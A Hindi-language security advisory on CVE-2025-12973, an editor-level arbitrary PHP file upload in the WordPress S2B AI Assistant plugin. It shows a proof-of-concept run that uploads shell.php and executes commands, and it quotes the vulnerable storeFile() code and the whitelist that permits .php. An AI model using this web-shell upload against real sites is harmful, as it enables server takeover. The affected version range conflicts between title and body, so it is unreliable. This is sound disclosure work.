
S2B AI सहायक – ChatBot, ChatGPT, OpenAI, सामग्री और छवि जनरेटर <= 1.7.7 - प्रमाणित (संपादक+) मनमाना फ़ाइल अपलोड
WordPress S2B AI Assistant प्लगइन (संस्करण 2.47 और पूर्व) में एक मनमानी फ़ाइल अपलोड कमजोरी है जो संपादक भूमिका या उच्चतर वाले प्रमाणित WordPress उपयोगकर्ताओं को सर्वर पर दुर्भावनापूर्ण PHP फ़ाइलें अपलोड करने की अनुमति देती है, जो संभावित रूप से रिमोट कोड निष्पादन की ओर ले जा सकती है।
एक POC CVE-2025-12973.py प्रदान किया गया है जो एक रिमोट हमलावर द्वारा shell.php अपलोड करने और रिमोट कोड निष्पादित करने का प्रदर्शन करता है:
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
यह कमजोरी Utils.php फ़ाइल में storeFile() विधि में मौजूद है, जिसे /wp-admin/admin-post.php एंडपॉइंट द्वारा s2b_store_chatbot_upload क्रिया के साथ बुलाया जाता है। अपलोड कार्यक्षमता एक कस्टम फ़ाइल एक्सटेंशन श्वेतसूची का उपयोग करती है जो स्पष्ट रूप से PHP फ़ाइलों सहित खतरनाक फ़ाइल प्रकारों की अनुमति देती है। यह संपादक भूमिका या उच्चतर वाले प्रमाणित WordPress उपयोगकर्ताओं को मनमानी फ़ाइलें अपलोड करने की अनुमति देता है, जिसमें PHP फ़ाइलें शामिल हैं जिन्हें सर्वर पर निष्पादित किया जा सकता है।
स्रोत: $_FILES['s2baia_chatbot_config_database'] से उपयोगकर्ता इनपुट (पंक्ति 300)
सिंक: $wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE) (पंक्ति 344)
यह कमजोरी निम्नलिखित कारणों से होती है:
AdminChatBotController.php में पंजीकृत है।processAssistantUpload() विधि अपलोड अनुरोध को संभालती है (पंक्ति 1103)।$_FILES['s2baia_chatbot_config_database'] से उपयोगकर्ता-नियंत्रित फ़ाइल डेटा बिना उचित सत्यापन के सीधे संसाधित किया जाता है।checkAllowedFilesearchExtensions() (पंक्ति 320) का उपयोग करके लागू की जाती है, जो स्पष्ट रूप से .php एक्सटेंशन की अनुमति देती है (पंक्ति 366)।wp-content/uploads/YYYY/MM/ में सहेजी जाती हैं।फ़ाइल: lib/helpers/Utils.php
पंक्तियाँ: 289-348
public static function storeFile($targetDir) {
global $wp_filesystem;
// Initialize WP_Filesystem
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if (!WP_Filesystem()) {
return '';
}
if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) { // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
return '';
}
if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
return '';
}
$chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
$name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
if (strlen($name) == 0) {
return '';
}
$finfo = pathinfo($name);
if (is_array($finfo)) {
$fname = sanitize_file_name($finfo['filename']);
$fext = $finfo['extension'];
if (!self::checkAllowedFilesearchExtensions($fext)) { // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
return '';
}
if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
$timest = time();
$name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
}
}
$tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
$outfile = $targetDir . DIRECTORY_SEPARATOR . $name;
// Open the output file and write contents using WP_Filesystem
if ($chunk === 0) {
$wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
}
// Read the temporary file and append its contents to the output file
$file_content = $wp_filesystem->get_contents($tmp_name);
if ($file_content === false) {
return '';
}
// Append content to the file
if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) { // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
return '';
}
// Delete the temporary file using WordPress method
// ... rest of function
}
फ़ाइल: lib/helpers/Utils.php
पंक्तियाँ: 354-383
public static function checkAllowedFilesearchExtensions($ext) {
switch ($ext) {
case 'c':
case 'cs':
case 'cpp':
case 'doc':
case 'docx':
case 'html':
case 'java':
case 'json':
case 'md':
case 'pdf':
case 'php': // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
case 'pptx':
case 'py':
case 'rb':
case 'tex':
case 'txt':
case 'css':
case 'js':
case 'sh':
case 'ts':
return true;
default:
return false;
}
return false;
}